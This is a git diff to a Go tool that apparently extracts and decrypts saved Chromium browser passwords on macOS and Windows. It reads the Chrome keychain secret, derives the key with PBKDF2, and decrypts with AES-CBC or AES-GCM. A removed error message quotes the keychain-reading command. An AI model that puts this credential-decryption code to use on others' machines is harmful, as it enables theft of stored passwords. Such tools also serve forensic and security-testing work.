diff --git a/internal/browser/chromium/chromium_darwin.go b/internal/browser/chromium/chromium_darwin.go index e905d64..a8ebe36 100644 --- a/internal/browser/chromium/chromium_darwin.go +++ b/internal/browser/chromium/chromium_darwin.go @@ -17,8 +17,8 @@ import ( ) var ( - ErrWrongSecurityCommand = errors.New("macOS wrong security command") - ErrCouldNotFindInKeychain = errors.New("macOS could not find in keychain") + errWrongSecurityCommand = errors.New("wrong security command") + errCouldNotFindInKeychain = errors.New("could not be find in keychain") ) func (c *chromium) GetMasterKey() ([]byte, error) { @@ -39,19 +39,19 @@ func (c *chromium) GetMasterKey() ([]byte, error) { } if stderr.Len() > 0 { if strings.Contains(stderr.String(), "could not be found") { - return nil, ErrCouldNotFindInKeychain + return nil, errCouldNotFindInKeychain } return nil, errors.New(stderr.String()) } chromeSecret := bytes.TrimSpace(stdout.Bytes()) if chromeSecret == nil { - return nil, ErrWrongSecurityCommand + return nil, errWrongSecurityCommand } chromeSalt := []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) if key == nil { - return nil, ErrWrongSecurityCommand + return nil, errWrongSecurityCommand } c.masterKey = key log.Infof("%s initialized master key success", c.name) diff --git a/internal/decrypter/decrypter_darwin.go b/internal/decrypter/decrypter_darwin.go index aaafadf..62ef35e 100644 --- a/internal/decrypter/decrypter_darwin.go +++ b/internal/decrypter/decrypter_darwin.go @@ -1,20 +1,9 @@ package decrypter -import ( - "errors" -) - -var ( - errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal") -) - func Chromium(key, encryptPass []byte) ([]byte, error) { if len(encryptPass) <= 3 { return nil, errPasswordIsEmpty } - if len(key) == 0 { - return nil, errSecurityKeyIsEmpty - } iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} return aes128CBCDecrypt(key, iv, encryptPass[3:]) diff --git a/internal/decrypter/decrypter_windows.go b/internal/decrypter/decrypter_windows.go index 8c17f8c..277d222 100644 --- a/internal/decrypter/decrypter_windows.go +++ b/internal/decrypter/decrypter_windows.go @@ -11,9 +11,6 @@ func Chromium(key, encryptPass []byte) ([]byte, error) { if len(encryptPass) < 3 { return nil, errPasswordIsEmpty } - if len(key) == 0 { - return nil, errSecurityKeyIsEmpty - } return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15]) } @@ -22,9 +19,6 @@ func ChromiumForYandex(key, encryptPass []byte) ([]byte, error) { if len(encryptPass) < 3 { return nil, errPasswordIsEmpty } - if len(key) == 0 { - return nil, errSecurityKeyIsEmpty - } // remove Prefix 'v10' // gcmBlockSize = 16 // gcmTagSize = 16